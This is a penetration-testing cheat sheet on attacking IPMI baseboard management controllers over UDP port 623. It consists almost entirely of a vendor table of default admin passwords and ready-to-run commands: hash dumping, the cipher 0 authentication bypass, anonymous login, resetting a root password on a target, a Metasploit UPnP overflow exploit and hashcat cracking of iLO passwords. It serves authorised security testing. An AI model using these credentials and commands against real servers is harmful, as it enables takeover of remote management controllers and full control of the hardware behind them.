# IPMI Pentesting (Port 623)

Source: https://pentest.h4rithd.com/udp/623-ipmi/  
Section: UDP  
Ports: 623  
Updated: 2026-10-26  
Author: Harith Dilshan (h4rithd), https://h4rithd.com

<table><thead><tr><th width="194">Vendor</th><th width="157">Username</th><th width="195">Password</th><th>Notes</th></tr></thead><tbody><tr><td><strong>Supermicro</strong></td><td><code>ADMIN</code></td><td><code>ADMIN</code></td><td>Some newer models use unique passwords.</td></tr><tr><td><strong>IBM / Lenovo</strong></td><td><code>USERID</code></td><td><code>PASSW0RD</code></td><td>Common for Flex System x hardware.</td></tr><tr><td><strong>pfSense Netgate</strong></td><td><code>ADMIN</code></td><td>Varies</td><td>Reset using <code>ipmitool</code>. Default ID is <code>2</code>.</td></tr><tr><td><strong>Quantum VS4160-HCI</strong></td><td><code>ADMIN</code></td><td>On system label</td><td>Change via VS-Settings Menu.</td></tr><tr><td><strong>Quantum VS1110-A</strong></td><td><code>ADMIN</code></td><td><code>BMCadmin1</code></td><td>Change via Advanced Menu.</td></tr><tr><td><strong>Blackcore</strong></td><td><code>admin</code></td><td><code>admin123</code></td><td>For SPR-M, SPR-X, RPL, 3100 series.</td></tr><tr><td><strong>Nutanix</strong></td><td><code>ADMIN</code></td><td>Node serial number</td><td>Use node's serial in caps.</td></tr><tr><td><strong>Datto</strong></td><td>Provided by Datto</td><td>First 16 chars of backup-admin</td><td>Changes periodically.</td></tr><tr><td><strong>Dell</strong></td><td><code>root</code></td><td><code>calvin</code></td><td>Default for iDRAC systems.</td></tr><tr><td><strong>Cisco</strong></td><td><code>admin</code></td><td><code>password</code></td><td>Common for UCS servers.</td></tr><tr><td><strong>HP / HPE</strong></td><td><code>Administrator</code></td><td>Unique on system label</td><td>Often randomized for iLO.</td></tr></tbody></table>

* Enumerations

```bash
## ------------------| Version Detection
sudo nmap -sU --script ipmi-version -p 623 <IP>
use auxiliary/scanner/ipmi/ipmi_version
```

* Dumping Hashes

```bash
## ------------------| Using Metasploit
use auxiliary/scanner/ipmi/ipmi_dumphashes

## ------------------| Using ipmitool
ipmitool -I lanplus -H <IP> -U <USER> -P <PASS> user list 1

## ------------------| Using impacket
ipmi_hash_dump.py <IP> -u <USER> -p <PASS>
rakp.py <IP>
```

* Vulnerabilities

```bash
## ------------------| Change password for root user
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user set password 2 newpassword 
       
## ------------------| IPMI Authentication Bypass via Cipher 0
use auxiliary/scanner/ipmi/ipmi_cipher_zero
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list #C 0 to dump a list of users.                     

## ------------------| IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
use auxiliary/scanner/ipmi/ipmi_dumphashes
set OUTPUT_HASHCAT_FILE cat-hash
set OUTPUT_JOHN_FILE john-hash
ipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list

## ------------------| IPMI Anonymous Authentication
ipmitool -I lanplus -H 10.10.11.124 -U '' -P '' user list

## ------------------| Supermicro IPMI UPnP
use exploit/multi/upnp/libupnp_ssdp_overflow

## ------------------| Crack HP iLO default password
hashcat -m 7300 hases.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
```